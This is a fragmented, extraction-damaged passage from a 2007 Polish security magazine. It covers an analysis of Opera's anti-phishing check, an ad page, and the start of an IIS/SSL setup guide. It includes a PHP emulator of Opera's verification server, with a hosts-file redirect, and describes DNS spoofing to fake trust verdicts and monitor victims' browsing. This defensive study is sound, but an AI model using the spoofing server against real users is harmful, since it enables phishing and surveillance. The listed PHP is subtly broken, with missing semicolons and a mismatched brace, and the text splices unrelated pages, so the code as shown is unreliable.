 *      %SystemRoot%/system32/drivers/etc/hosts
 *   gdzie XXX.XXX.XXX.XXX to adres IP twojastrona.com
 */

$mode

 = 1; 

switch

 

(

$mode

)

 

{

    

case

 1:

       

$trust

 = 

'NV'

       

break

;

    

case

 2:

       

$trust

 = 

'V'

       

break

;

    

case

 3:

       

$trust

 = 

'W'

       

break

;

}

header

 

(

'Content-type: text/xml'

)

;

echo

 '

<?

xml version=

"1.0"

 encoding=

"utf-8"

?>

      

<

trustwatch version=

"1.0"

>

         

<

package

>

          

<

action type=

"searchresponse"

>

     ';

echo

 "         

<

trustlevel

>

$trust

<

/trustlevel

>

             

<

host

>

$host

<

/host

>

             

<

partner

>

0

<

/partner

>

            

<

serverexpiretime

>

0

<

/serverexpiretime

>

            

<

clientexpiretime

>

0

<

/clientexpiretime

>

     ";

if

 

{

$mode

 

==

 3

)

 

   

echo

 

"

                  

<

blacklist

>

                

<

ph

>

$ph

<

/ph

>

             

<

/blacklist

>

   ";

echo

 

"

          

<

/action

>

         

<

/package

>

      

<

/trustwatch

>

      

    ";

?>

background image

hakin9 Nr 10/2007

www.hakin9.org

Obrona

58

Fałszywe  serwisy  internetowe, 

które przy wykorzystaniu metod so-
cjotechnicznych  starają  się  doko-
nać  wyłudzenia,  bywają  najczęściej 
umieszczane  na  serwerach  znajdu-
jących się w krajach, w których obo-
wiązujące  regulacje  prawne  nie  po-
zwalają  na  sprawną  interwencję  or-
ganów  ścigania  w  przypadku  otrzy-
mania  zgłoszenia  z  innego  kraju  o 
próbie  bądź  popełnieniu  przestęp-
stwa – dobrym przykładem są tu na-
si wschodni sąsiedzi. 

Powszechnie  stosowaną  metodą 

na uwiarygodnienie fałszywego serwi-
su  internetowego  jest  zamieszczanie 
go pod adresem domenowym o łudzą-
co  podobnej  do  oryginalnej  nazwie. 
Przykładowo  gdy  celem  cyberprze-
stępcy  jest  oszukanie  klientów  ban-
ku  thisismybank.com,  może  on  spró-
bować zarejestrować domeny pod fał-
szywą witrynę z wykorzystaniem mię-
dzy innymi takich nazw jak: thisis-my-
bank.com
 (dodano znak rozdzielający 
nazwę),  thisissmybank.com  (dodano 
dodatkową  literę),  thlsismybank.com
th1sismybank.com (zamieniono jedną 
literę na inną, bądź na liczbę czy znak 
specjalny),  czy  tworząc  poddomenę 
zawierającą  w  członie  nazwę  orygi-
nalną  jak  np.  tihisismybank.com.xy-
zxyz.com
.  Oszukańcze  serwisy  są 
zwykle  udostępniane  z  wykorzysta-
niem http:// w przeciwieństwie do ory-
ginalnych,  udostępnianych  po  https://
wszystko  po  to,  aby  nie  wzbudzić  u 
użytkownika  podejrzeń  komunikatem 
o nieprawidłowym certyfikacie SSL. 

Najczęściej,  aby  sprowokować 

klienta  do  odwiedzin  fałszywej  wi-
tryny,  przestępcy  stosują  techniki 
spammingu – czyli masowego wysy-
łania  wiadomości  (np.  przy  pomocy 
protokołu poczty elektronicznej bądź 
komunikatorów  internetowych),  któ-
re  zawierają  informację  mającą  na-
kłonić adresata do odwiedzin. Wśród 
treści tych wiadomości znaleźć moż-
na  wyjątkowo  okazyjną  ofertę  spe-
cjalną – promocje, informację o zwy-
cięstwie  w  konkursie  czy  też  proś-
bę  o  potwierdzenie  hasła.  Czasami 
można odnaleźć link do oszukańczej 
strony  zamieszczony  w  publicznym 
serwisie internetowym np. jako post 
na forum bądź komentarz w blogu.

Reakcja producentów

Aby  dać  użytkownikom  narzędzie 
pozwalające  stwierdzić,  czy  dany 
serwis  internetowy  jest  wiarygodny 
bądź stworzony w celu malwersacji, 
producenci oprogramowania ochron-
nego, a w ślad za nimi czołowi pro-
ducenci przeglądarek internetowych, 
przygotowali swoje rozwiązania ma-
jące realizować powyższy cel.

Mechanizmy  ochrony  przed 

oszustwami  zastosowano  między 
innymi w najnowszych wersjach po-
pularnych  przeglądarek  tj.  Internet 
Explorer 7, Mozilla Firefox 2.x, czy 
Opera 9.x.

W  artykule  skoncentrowano  się 

na badaniu zachowania Opery 9.21 
(build  8776)  w  wersji  polskiej  pod 
systemy Windows.

Sposoby ochrony

W Operze mechanizm ochrony przed 
oszustwami działa w dwóch trybach. 

Pierwszy  –  nazwijmy  go  umow-

nie automatycznym – polega na każ-
dorazowej  weryfikacji  adresu  URL 
przed jego wywołaniem. Jest to tryb 
domyślnie  wyłączony.  Drugi,  manu-
alny
, jest wywoływany ręcznie przez 
użytkownika poprzez kliknięcie sym-
boli stanu wiarygodności strony – li-
tery i, bądź znaku ? w prawym rogu 
paska adresowego, lub w przypadku 
autoryzowanych serwisów, udostęp-
nianych  via  https://,  po  naciśnięciu 
symbolu kłódki i przejściu do zakład-
ki Ochrona przed oszustwami.

Tryb automatyczny

Gdy  użytkownik  pragnie  odwiedzić 
interesujący go serwis, w stronę ser-
wera pełniącego funkcję weryfikato-
ra witryn, dostępnego pod adresem 
sitecheck.opera.com, kierowane jest 
metodą 

GET

 zapytanie HTTP zawie-

rające wartości w następujących pa-
rametrach:

•  

host

 – nazwa hosta,

•  

ph

 – hash z URL’a,

•  

hdn

 – hash z nazwy hosta.

Przykład załączony jest na Listingu 1.

Ciekawa cecha powyższego me-

chanizmu  jest  związana  z  faktem, 
że  prośby  o  weryfikację  serwisów 

http://  kierowane  są  do  serwera  si-
techeck.opera.com
  z  wykorzysta-
niem  protokołu  HTTP,  który  sam  w 
sobie  nie  posiada  funkcji  pozwala-
jącej na uwiarygodnienie strony ser-
wera  podczas  transmisji,  natomiast 
tylko w przypadku serwisów https:// 
sprawdzana jest wiarygodność stro-
ny  serwera  przy  wykorzystaniu  ce-
chy protokołu HTTPS jaką niewątpli-
wie jest udział w infrastrukturze klu-
cza  publicznego.  Tu  zastosowano 
umieszczony na serwerze, wygene-
rowany przez autoryzowane CA cer-
tyfikat SSL.

Certyfikat  weryfikowany  jest  w 

sposób  prawidłowy,  próby  podsta-
wienia  własnoręcznie  wygenerowa-
nego  certyfikatu  serwera  kończyły 
się  pojawieniem  stosownego  komu-
nikatu o jego nieprawidłowości.

Greylisting

Z  informacji  udostępnionych  przez 
firmę  Opera  wynika,  iż  serwer  we-
ryfikujący witryny, po otrzymaniu za-
pytania  od  użytkownika,  sprawdza 
je  wykorzystując  technologię  greyli-
stingu
, korzystając z baz dwóch nie-
zależnych  dostawców.  Organizacja 
GeoTrust  za  pomocą  swojego  pro-
duktu  TrustWatch,  udostępnia  białą 
listę  –  czyli  bazę  danych  witryn  za-
ufanych, oraz czarną listę – bazę wi-
tryn, co do których zachodzą podej-
rzenia,  że  zostały  stworzone  w  ce-
lu  dokonania  oszustwa.  Bazy  Tru-
stWatch
 tworzone są przez pracują-
cy w GeoTrust zespół ekspertów, na 
podstawie próśb o weryfikację stron 
kierowanych do nich przez użytkow-

W Sieci

•   http://www.opera.com,
•   http://www.phishtank.com,
•   http://www.trustwatch.com.

Rysunek 1. 

Tabela stanów mechanizmu 

ochrony przed oszustwami

background image

Opera – nie daj się oszukać

hakin9 Nr 10/2007

www.hakin9.org

59

ników  ich  firmowego  Toolbar’a.  Po-
tem  dokonują  oni  klasyfikacji  witry-
ny,  a  następnie  umieszczają  ją  na 
którejś z list: czarnej lub białej, bądź 
ignorują  w  przypadku  problemów  z 
ustaleniem jej wiarygodności.  

Drugim źródłem, którym w proce-

sie analizy witryn posługuje się serwer 
weryfikujący, jest czarna lista tworzo-
na przez społeczność ludzi uczestni-
czących w niekomercyjnym projekcie 
PhishTank,  zapoczątkowanym  przez 
twórców usługi OpenDNS.

Serwer  weryfikujący  pobiera 

czarną  listę  PhishTank  co  pewien 
okres  czasu,  w  konsekwencji  czego 
użytkownik Opery może nie otrzymać 
ostrzeżenia  o  najświeższych  udo-
stępnianych    tam  zgłoszeniach  –  co 
też można zaobserwować odwiedza-
jąc  najnowsze  linki  udostępniane  na 
stronach PhishTank przy włączonym 
mechanizmie  ochrony  przed  oszu-
stwami.  W  przypadku  sprawdzania 
stron z wykorzystaniem mechanizmu 
TrustWatch problem ten nie występu-

je,  gdyż  serwer  weryfikujący  kieru-
je zapytanie w czasie rzeczywistym, 
bezpośrednio do dostawcy.

Klasyfikacja

Serwer  weryfikujący  dostarcza  od-
powiedź  na  żądanie  sprawdzenia 
strony  w  postaci  dokumentu  XML. 
Wśród  dostarczanych  parametrów 
najważniejszym jest trustlevel, który 
definiuje  poziom  zaufania  do  strony 
w następujący sposób:

•   NV – Not Verified – strona nie zo-

stała  umieszczona  ani  na  białej 
ani na czarnej liście,

•   V  –  Verified  –  witryna  znajduje 

się na białej i nie znajduje się na 
czarnej liście,

•   W – Warning – witryna znajduję 

się na czarnej liście.

W  parametrze  blacklist,  który  po-
jawia  się  w  przypadku  wystąpienia 
stanu  W  –  Warning,  przekazywany 
jest  hash  z  URL’a  znajdującego  się 
na czarnej liście. 

Listing 3. 

Zapytanie do serwera weryfikującego (tryb manualny)

GET /info/?host

=

www.hakin9.org

&

ph

=

CrmIXGGAlC7mS455Q2szhQ

==

&

hdn

=

hz3g35Z4i/6JXNonVjl4Mg

==

&

site

=

http

%

3A

%

2F

%

2Fwww.hakin9.org

%

2F HTTP/1.1

User

-

Agent

:

 Opera/9.21 

(

Windows NT 5.1

;

 U

;

 pl

)

Host

:

 sitecheck.opera.com

Accept

:

 text/html, application/xml

;

q

=

0.9, 

application/xhtml

+

xml, image/png, image/jpeg, image/gif, 

image/x

-

xbitmap, 

*

/

*;

q

=

0.1

Accept

-

Language

:

 pl

-

PL,pl

;

q

=

0.9,en

;

q

=

0.8

Accept

-

Charset

:

 iso

-

8859

-

1, utf

-

8, utf

-

16, 

*;

q

=

0.1

Connection

:

 Keep

-

Alive, TE

TE

:

 deflate, gzip, chunked, identity, trailers

Rysunek 2. 

Wykorzystując technikę spoofingu, wprowadzono w błąd użytkownika sprawdzającego wiarygodność 

serwisu www.hakin9.org

background image

hakin9 Nr 10/2007

www.hakin9.org

Obrona

60

Parametry  clientexpiretime  i  se-

rverexpiretime,  jak  domniemywam, 
określają  czas  życia  informacji  w 
procesie cachingu.

Sposób  odpowiedzi  z  serwera 

na  żądanie  przeglądarki  można  za-
obserwować wykorzystując załączo-
ny skrypt (Listing 2), będący de fac-
to prostym emulatorem serwera we-
ryfikującego.

Raportowanie

Na podstawie otrzymanych informa-
cji,  mechanizm  antyfraudowy  przy-
biera odpowiedni stan, który w przy-
padku W – Warning, sygnalizowany 
jest przez pojawienie się komunika-
tu mającego poinformować użytkow-
nika  o  niebezpieczeństwach  zwią-
zanych  z  wizytą  strony  –  opera:
fraud-warning
,  a  także  poprzez  wy-
świetlenie  odpowiedniego  symbolu 
w prawym rogu paska adresowego. 
Tabelę stanów z symbolami załączo-
no na Rysunku 1.

Tryb manualny

Jak już wspomniałem we wcześniej-
szej części artykułu, użytkownik ma 
możliwość  skorzystania  z  weryfika-
cji  manualnej.  Po  dostaniu  się  do 
zakładki  Ochrona  przed  oszustwa-
mi
, przeglądarka wysyła analogiczne 
zapytanie jak w przypadku trybu au-
tomatycznego, z tą różnicą, iż wcze-
śniej  kieruje  metodą 

GET

  drugie  za-

pytanie HTTP (Listing 3.) z dodatko-
wym parametrem site, zawierającym 
jako swoją wartość pełny URL w for-
mie  jawnej,  który  to  użytkownik  ma 
wyświetlony  w  pasku  adresowym  w 
chwili  wysłania  żądania  o  weryfika-
cję strony.

W  odpowiedzi  serwer  weryfi-

kujący  zwraca  dokument  w  forma-
cie HTML, który następnie jest wy-
świetlany w oknie zakładki. Zawie-
ra on tekstową informację o pozio-
mie  wiarygodności  strony,  a  tak-
że  –  w  przypadku  stanów  V  i  NV 
– przycisk wywołujący metodę 

POST

 

z dwoma parametrami: url – hash z 
URL’a  oraz  opera  –  numer  wersji 
przeglądarki. 

Po wywołaniu powyższej metody 

serwer weryfikujący odsyła użytkow-
nika  na  witrynę  PhishTank,  aby  ten 

mógł zgłosić stronę jako podejrzaną.

Ryzyka

Uważny  czytelnik  na  pewno  za-
uważył,  że  największym  proble-
mem bezpieczeństwa mechanizmu 
ochrony  przed  oszustwami  Opery 
jest zastosowanie protokołu HTTP 
do weryfikacji adresów zaczynają-
cych się od http://. Powyższy stan 
rzeczy daje pewne możliwości nad-
użyć. Haker wiedząc, że komputer 
ofiary  prędzej  czy  później  będzie 
pytał swój serwer DNS o adres IP 
serwera sitecheck.opera.com, mo-
że  w  stosunku  do  niego  zaimple-
mentować atak DNS Spoofing, po-
legający na wysyłaniu spreparowa-
nych odpowiedzi na żądania DNS, 
które rzekomo miałyby pochodzić z 
rzeczywistego  serwera  DNS  ofia-
ry,  zawierających  adres  IP  kom-
putera  hakera  w  miejsce  oryginal-
nego  IP  serwera  sitecheck.ope-
ra.com
  (tematykę  DNS  Spoofing 
omówiono  w  numer  2/2003  cza-
sopisma  hakin9).  W  momencie, 
gdy  mechanizm  antyfraudowy  za-
cznie łączyć się z komputerem ha-
kera aby prowadzić proces weryfi-
kacji  witryn,  haker  może  wykorzy-
stać powyższy stan rzeczy między 
innymi do uwiarygodnienia witryny 
stworzonej w celu dokonania oszu-
stwa,  wyświetlenia  ostrzeżenia  o 
zagrożeniu  oszustwem  na  zaufa-
nej  witrynie,  a  także  (co  uważam 
za najmniej abstrakcyjny przykład, 
a zarazem najbardziej rzeczywiste 
zagrożenie)  w  przypadku  włączo-
nego u ofiary trybu automatyczne-
go
, może śledzić aktywność ofiary 
w Internecie, poprzez monitorowa-
nie stron, które odwiedza.

Efekt  jednego  z  przykładowych 

ataków załączono na Rysunku 2. 

Podsumowanie

Mechanizm  ochrony  przed  oszu-
stwami  Opery  daje  użytkownikowi 
możliwość uzyskania opinii o wiary-
godności danej witryny z dwóch nie-
zależnych  źródeł  informacji,  co  jest 
niewątpliwie jego dużym plusem. W 
zamian  użytkownik  musi  zaakcep-
tować  ryzyko  związane  z  przesyła-
niem żądań weryfikacyjnych niebez-

piecznym kanałem – w tym miejscu 
należy podkreślić, że większość ad-
resów  w  Internecie  rozpoczyna  się 
od http://

Na zakończenie wspomnieć na-

leży  również  o  fakcie,  że  obecnie 
coraz częściej cyberprzestępcy od-
chodzą  od  tradycyjnych  form  phi-
shingu,  związanych  z  tworzeniem 
oszukańczych  stron  internetowych 
z podobną do oryginalnych nazwą, 
a  raczej  uciekają  się  do  dużo  bar-
dziej wyrafinowanych technik oszu-
stwa. Wykorzystywać można w tym 
celu  złośliwe  oprogramowanie,  in-
tegrujące  się  z  przeglądarką  in-
ternetową  i  potrafiące  podmieniać 
użytkownikowi  zawartość  przeglą-
danych  stron  w  locie,  a  także  mo-
gące zafałszować informację o nie-
prawidłowym certyfikacie SSL. Ide-
alnym  przykładem  jest  tu  koń  tro-
jański Torpig/Sinowall/Anserin (na-
zwa odmienna w zależności od sto-
sowanej  nomenklatury  producen-
tów  oprogramowania  antywiruso-
wego),  który  to  jest  szeroko  sto-
sowany  w  rozproszonych  syste-
mach  phishingowych  do  wyłudze-
nia  loginów/haseł  kont  klientów  w 
internetowych  platformach  banko-
wych. 

W  powyższym  przypadku,  jeśli 

użytkownik  nie  ma  100%  gwaran-
cji,  że  jego  stacja  robocza  nie  zo-
stała  skompromitowana,  to  nie  po-
winien  ufać  jakimkolwiek  mechani-
zmom  sprawdzania  wiarygodności 
witryn. l

O autorze

Marcin  Kopeć  pracuje  jako  oficer  bez-
pieczeństwa  w  jednym  z  czołowych 
polskich  banków,  należącym  do  naj-
większej  finansowej  grupy  kapitało-
wej w Europie Środkowej. Na co dzień 
zajmuje  się  problematyką  bezpieczeń-
stwa transakcji elektronicznych, w tym 
przeciwdziałaniem oszustwom w sekto-
rze  bankowości  internetowej.  Ponadto 
specjalizuje się w dziedzinie systemów 
detekcji/przeciwdziałania  włamaniom 
oraz interesuje się kwestiami związany-
mi z bezpieczeństwem aplikacji webo-
wych. Kontakt z autorem: 
marcin.kopec@bph.pl

background image

Portal  internetowy  na  którym  można  znaleźć 

garść informacji z wybranych dziedzin IT.

http://howto.pl/

Hacking, security to pojęcia znane profesjonali-

stom na tym portalu można dowiedzieć się cze-

goś więcej o tych zagadnieniach.

http://www.security-web.info

Strona  zawiera  ogłoszenia  pracy  na  stanowi-

ska związane z branżą IT.

http://pracait.com

Portal  poświęcony  aktualnościom,  artykułom

ze  świata  informatycznego.  Zawiera  ciekawe 

linki,  gry  on-line  i  wiele  innych  interesujących 

wiadomości.

http://hackme.pl

Serwis  internetowy  firmy  QuarkBit  Software, 

która zajmuje się tworzeniem oprogramowania 

dla firm i osób prywatnych.

http://www.quarkbitsoftware.pl

Misją serwisu jest dostarczanie rzetelnych infor-

macji z zakresu szeroko pojętej informatyki. Za-

wiera  najświeższe  informacje  z  rynku  informa-

tycznego i recenzje czasopism takich jak Hakin9, 

php solution, sdj.      

http://www.itnews.icx.pl

To portal wydawnictwa CSH. Na tej stronie za-

interesowana  osoba  znajdzie  garść  potrzeb-

nych informacji: aktualności ze świata informa-

tycznego, informacje na temat szkoleń itd.

http://www.szkolahakerow.pl

Serwis  informacyjny,  na  którym  znajdują  się 

najświeższe aktualności i artykuły, można zalo-

gować się na forum i podyskutować z ciekawy-

mi osobami na interesujące teamty.

http://www.cc-team.org

Strona internetowa poświęcona aktualnościom 

informatycznym. Umieszczone są na niej cie-

kawe artykuły oraz recenzje pism.

http://www.huntersq2.boo.pl

Strony

 polecane >>>

Strony

 polecane

Misją Infoprof jest zrozumienie potrzeb klienta 

i taki dobór usług by jak najlepiej spełniały one 

jego oczekiwania, jednocześnie nie narażając 

go na niepotrzebne koszty.

www.infoprof.pl

Portal  poświęcony  zdalnym  rozwiązaniom  IT, 

świadczone usługi są dyskretne i dokładne.

http://xesit.pl

Portal  powstał  w  celu  rozreklamowania  firmy 

zajmującej się kompleksową usługą związaną 

z promowaniem stron WWW.

http://www.webgroup.net.pl

background image

www.hakin9.org

hakin9 Nr 10/2007

62

Obrona

R

ozpoczniemy  od  instalacji  serwera 
IIS  na  platformie  Windows  XP  SP2. 
W  kolejnym  kroku  skonfigurujemy 

go tak, aby działały na nim strony ASP.NET. 
Na  koniec  dodana  będzie  obsługa  protoko-
łu SSL.

Zasada  ograniczonego  zaufania  leży  u 

podstaw  użytkowania  Internetu.  Nie  wol-
no instalować kontrolek ActiveX nieznanych 
producentów.  Nie  należy  odwiedzać  podej-
rzanych stron WWW. Lepiej nie otwierać za-
łączników  poczty  nieznanego  pochodzenia 
itd.  Można  byłoby  wymieniać  i  wymieniać, 
czego  to  nie  można  robić  surfując  po  Inter-
necie. Jednak pomimo wielu zagrożeń, skle-
py  internetowe  to  dziś  codzienność,  a  ban-
kowość  elektroniczna  rozwija  się  w  najlep-
sze.  To  wszystko  stało  się  możliwe  dzięki 
protokołom  umożliwiającym  jednoznaczną 
identyfikację  witryny  WWW  i  pozwalającym 
na  bezpieczną  transmisję  danych  pomiędzy 
klientem a serwerem. Mowa tu oczywiście o 
protokole  SSL  (ang.  Secure  Sockets  Layer
lub TLS (ang. Transport Layer Security) i ko-
rzystającym z niego protokole HTTPS (ang. 
secure HTTP). Aby zaimplementować proto-
kół  SSL,  administrator  serwera  WWW  musi 

wygenerować klucz publiczny. Klucz ten po-
winien  być  następnie  podpisany  przez  jed-
ną z organizacji zajmujących się potwierdza-
niem tego typu kluczy (ang. certificate autho-
rity – CA
).

Konfiguracja serwera IIS 

dla ASP.NET 

z protokołem SSL

Sławomir Orłowski, Jacek Matulewski

stopień trudności

Każdy, nawet najprostszy, projekt powinien zostać 

przetestowany. Niniejszy artykuł opisze, w jaki sposób możemy 

lokalnie sprawdzić działanie witryny ASP.NET, która wymaga 

uwierzytelnienia typu SSL. Jest on skierowany przede wszystkim 

do programistów .NET.

Z artykułu dowiesz się

•   jak do celów testowych zainstalować i skon-

figurować serwer IIS na komputerze wyposa-
żonym w system Windows XP SP2, 

•   o  konfiguracji  serwera  IIS  do  obsługi  stron 

ASP.NET z uwierzytelnianiem SSL,

•   artykuł  ten  należy  traktować  jako  poradnik 

dla programistów .NET, którzy chcą lokalnie 
przetestować swoje witryny WWW wymaga-
jące użycia protokołu SSL. Dzięki temu moż-
na  uniknąć  wielu  błędów,  co  zdecydowanie 
podniesie  bezpieczeństwo  tworzonych  pro-
jektów.

Co powinieneś wiedzieć

•   ogólna znajomość systemu Windows XP,
•   podstawowa znajomość platformy .NET,
•   podstawowa znajomość zasad działania pro-

tokołów SSL, TLS i HTTPS.

background image

Konfiguracja serwera IIS dla ASP.NET z protokołem SSL

hakin9 Nr 10/2007

www.hakin9.org

63

Działamy  tutaj  w  myśl  zasady, 

że w końcu komuś musimy zaufać. 
Można na to spojrzeć również jako 
na pewnego rodzaju protekcję. Po-
wiedzmy, że chcemy zdobyć nową 
pracę. Musimy więc przekonać na-
szego  przyszłego  szefa,  że  moż-
na  nam  zaufać.  Największe  szan-
se  mamy,  jeżeli  ktoś  godny  zaufa-
nia  nas  poleci.  I  tak  mniej  więcej 
działa  podpisywanie  certyfikatów. 
Współczesne przeglądarki interne-
towe potrafią rozpoznać firmę, któ-
ra podpisuje dany certyfikat. Jeże-
li certyfikat jest nieznanego pocho-
dzenia,  wówczas  przed  wejściem 
na  taką  stronę  zostaniemy  poin-
formowani  o  możliwości  zaistnie-
nia  zagrożenia.  Spora  część  użyt-
kowników  ignoruje  tego  typu  infor-
macje. Co to za zagrożenie, skoro 
cała  transakcja  jest  szyfrowana? 
To  prawda,  nikt  jej  nie  podsłucha, 
ale  nie  możemy  mieć  pewności, 
co serwer zrobi z poufnymi danymi 
po  ich  otrzymaniu.  W  końcu  to  je-
mu ufamy na zasadzie wszystko al-
bo nic. Dla modelu sieciowego OSI 
protokół HTTPS działa w warstwie 
aplikacji,  natomiast  protokół  SSL 
działa  w  warstwie  transportowej. 
Takie rozwiązanie wymusza istnie-
nie  jednego  certyfikatu  dla  każde-
go adresu IP. Warto również wspo-
mnieć,  że  protokół  SSL  zawdzię-
czamy  firmie  Netscape.  Podsumo-
wując, SSL gwarantuje:

•   identyfikację  stron,  czyli  pew-

ność,  że  nikt  się  nie  podszywa 
pod klienta bądź serwer,

•   szyfrowanie  danych,  co  prak-

tycznie uniemożliwia podsłuch,

•   integralność  danych,  co  ozna-

cza pewność, że przesyłane da-
ne  nie  zostały  po  drodze  pod-
mienione, np. poprzez atak typu 
man-in-the-middle.

Trzy  główne  czynniki  (nie  licząc 
tzw.  czynnika  ludzkiego)  wpływa-
ją  na  bezpieczeństwo  transakcji 
HTTPS.  Po  pierwsze,  jakość  im-
plementacji  obsługi  tego  typu  po-
łączeń  w  przeglądarce  interneto-
wej. Po drugie, konfiguracja serwe-
ra  WWW  i  po  trzecie,  użyty  algo-
rytm kryptograficzny.

Instalacja serwera IIS

Firma  Microsoft  udostępniła  dar-
mową wersję środowiska programi-
stycznego umożliwiającego tworze-

nie projektów ASP.NET. Visual Web 
Developer
,  bo  o  nim  mowa,  posia-
da wbudowany serwer WWW, który 
uruchamiany jest wyłącznie do ce-
lów testowych. Jest to szalenie wy-
godne  rozwiązanie,  ponieważ  nie 
musimy  sami  instalować  i  urucha-
miać  serwera  IIS  w  naszym  syste-
mie.  Jest  on  uruchamiany  na  czas 
pracy środowiska, a następnie wy-
łączany. 

Osobiście  zachęcam  do  po-

brania  pakietu  Visual  Web  Deve-
loper
  i  sprawdzenia  jego  napraw-
dę  sporych  możliwości.  Jeśli  jed-
nak  chcielibyśmy  sprawdzić  lo-
kalnie  zachowanie  witryny  WWW 
wraz  z  protokołem  HTTPS,  musi-
my  sami  zainstalować  i  skonfigu-
rować serwer IIS. Jak się za chwi-
lę  okaże,  nie  jest  to  wcale  trudne. 
Wystarczy  dodać  nowy  składnik 
systemu Windows ze standardowej 
funkcji  Dodaj/Usuń  składniki  sys-
temu  Windows.  Uruchamiamy  Pa-
nel sterowania
 (np. przez okno Mój 
komputer
) i otwieramy aplet Dodaj/
Usuń
  programy.  W  jego  oknie  kli-
kamy przycisk Dodaj/Usuń składni-
ki systemu Windows. Sprawdzamy, 
czy zaznaczona jest pozycja Inter-
netowe  usługi  informacyjne  (IIS), 
a  w  jej  szczegółach,  czy  są  za-
znaczone  pozycje  Common  Files
Przystawka  internetowych  usług 
informacyjnych,  Usługa  SMTP  i 
Usługa  World  Wide  Web.  Jeżeli 
nie, zaznaczamy je i klikamy Dalej

Rysunek 1. 

Aplikacja Zarządzanie komputerem z rozwiniętą listą usług 

dostępnych w systemie Windows XP SP2

Rysunek 2. 

Okno menedżera serwera IIS

background image

hakin9 Nr 10/2007

www.hakin9.org

Obrona

64

Wówczas nastąpi instalacja zazna-
czonych składników. Po zakończe-
niu  instalacji  musimy  jeszcze  uru-
chomić odpowiednią usługę w sys-
temie  Windows.  Poprzez  aplikację 
Zarządzanie  komputerem  (Panel 
sterowania / Narzędzia administra-
cyjne  /  Zarządzanie  komputerem

wchodzimy  w  listę  aktualnie  do-
stępnych  usług  systemowych  (le-
wa część okna, gałąź Usługi i apli-
kacje / Usługi
). W liście usług (Ry-
sunek  1)  należy  uruchomić:  Admi-
nistrator  programu  IIS,  Publikowa-
nie w sieci World Wide Web i ewen-
tualnie Simple Mail Transfer Proto-
col
 (SMTP).

Uruchomienie  usług  IIS  może 

nie  wystarczyć,  aby  serwer  WWW 
był w pełni aktywny. Musimy wyko-
nać jeszcze jeden drobny zabieg. W 
oknie Narzędzia administracyjne kli-
kamy dwukrotnie ikonę Internetowe 
usługi  informacyjne  (menedżer  ten 
dostępny jest także w drzewie okna 
Zarządzanie komputerem). Urucho-
miona  zostanie  aplikacja  systemo-
wa Internetowe usługi informacyjne 
(Rysunek 2). 

W  jej  oknie  rozwijamy  elemen-

ty  dostępne  w  lokalnym  kompute-
rze i zaznaczamy pozycję Domyśl-
na witryna sieci Web. Z menu kon-
tekstowego  tej  pozycji  wybieramy 
Uruchom lub klikamy trójkąt na pa-
sku narzędzi. W tej wersji serwera 
IIS  ograniczeniem  jest  możliwość 
przechowywania  tylko  jednej  stro-
ny  WWW.  Standardowo  skonfigu-
rowany  serwer  IIS  w  katalogu  C:
\Inetpub\wwwroot
  powinien  mieć 
umieszczoną  witrynę  internetową. 
Aby  przetestować  jego  działanie, 
umieszczamy tam plik Default.html
w którym umieszczamy kod HTML 
zaprezentowany na Listingu 1.

Myślę,  że  nie  ma  potrzeby  tłu-

maczenia,  co  zostanie  wyświetlo-
ne  w  oknie  przeglądarki  interneto-
wej podczas uruchomienia tego pli-
ku.  My  jednak  dostęp  do  tej  stro-
ny chcemy uzyskać z poziomu ser-
wera IIS. W tym celu uruchamiamy 
przeglądarkę internetową i wpisuje-
my w niej adres http://localhost/ lub 
http://127.0.0.1
.  Powinniśmy  zoba-
czyć  utworzoną  przed  chwilą  stro-
nę (Rysunek 3).

Rejestrowanie 

ASP.NET 2.0 w IIS

Należy  zwrócić  uwagę,  że  jeże-
li  IIS  było  zainstalowane  lub  rein-
stalowane  po  zainstalowaniu  plat-
formy .NET, to konieczne jest zare-
jestrowanie  usług  ASP.NET  w  ser-
werze  IIS.  Zrobimy  to  na  przykła-
dzie .NET w wersji 2.0. Pliki platfor-
my .NET umieszczone są w podka-
talogu  Microsoft.NET\Framework\ 
katalogu  systemowego  Windows. 
Znajdujemy  tam  katalog,  który  w 
nazwie  po  v2.0  ma  najwyższy  nu-
mer.  W  moim  przypadku  będzie  to 
katalog Microsoft.NET\Framework\
v2.0.50727
. Jest tam program asp-
net_regiis.exe
  służący  do  rejestro-
wania  usługi  ASP.NET  dla  serwe-
ra IIS. 

Dla  pewności  uruchamiamy 

program aspnet_regiis.exe z para-
metrem 

–ua

, aby odinstalować inne 

wersje  platformy  .NET,  które  mo-
gą  być  zarejestrowane  w  serwe-
rze  IIS.  Następnie  uruchamiamy 
program  aspnet_regiis.exe  z  pa-
rametrem 

–i

. Po chwili powinniśmy 

uzyskać komunikat Finished instal-
ling  ASP.NET  (2.0.50727)
.  Można 

teraz  przetestować,  czy  uda  nam 
się  uruchomić  prostą  aplikację 
ASP.NET.  Powiedzmy,  że  mamy 
już  stworzoną  witrynę  ASP.NET 
i  chcielibyśmy  ją  móc  uruchomić 
za  pomocą  serwera  IIS.  Pierwszą 
czynnością,  jaką  musimy  wyko-
nać,  jest  uruchomienie  menedże-
ra IIS (Rysunek 2). Zaznaczamy w 
nim element Domyślna witryna sie-
ci Web
 i wybieramy pozycję Nowy / 
Katalog
 wirtualny... z jej menu kon-
tekstowego  (menu  dostępnego  po 
skinięciu  prawym  klawiszem  my-
szy).  Uruchomiony  zostanie  Kre-
ator  tworzenia  katalogów  wirtual-
nych
.  Tworzymy  w  nim  alias  pod-
strony i klikamy przycisk Dalej

Teraz  korzystając  z  przycisku 

Przeglądaj...  wskazujemy  katalog 
projektu,  który  chcemy  zarejestro-
wać w serwerze IIS. Ponownie kli-
kamy Dalej. Kolejna strona pozwa-
la  na  wybór  uprawnień  IIS  wzglę-
dem  tworzonego  katalogu.  W  za-
leżności  od  typu  naszego  projektu 
nadajemy  odpowiednie  prawa  (od-
czyt
,  uruchamianie  skryptów,  za-
pis
). Aby zakończyć pracę z kreato-
rem,  klikamy  jeszcze  raz  przycisk 
Dalej,  a  następnie  Zakończ.  Jeżeli 
alias został prawidłowo skonfiguro-
wany, to do gałęzi Domyślna witry-
na  sieci  Web
  dodana  zostanie  no-
wa pozycja o tej samej nazwie, ja-
kiej użyliśmy przy tworzeniu aliasu. 
Po  uruchomieniu  przeglądarki  bę-
dziemy mogli wpisać adres witryny 
korzystając z wirtualnego katalogu, 
tj. http://localhost/nazwa_aliasu/

Naszą  witrynę  WWW  możemy 

oczywiście  po  prostu  skopiować 
do  katalogu  C:\Inetpub\wwwroot

W Sieci

•   http://www.iis.net/ – podstawowe źródło informacji na temat serwera IIS,
•   http://en.wikipedia.org/wiki/Transport_Layer_Security – artykuł opisujący zasadę 

działania protokołów SSL i TLS,

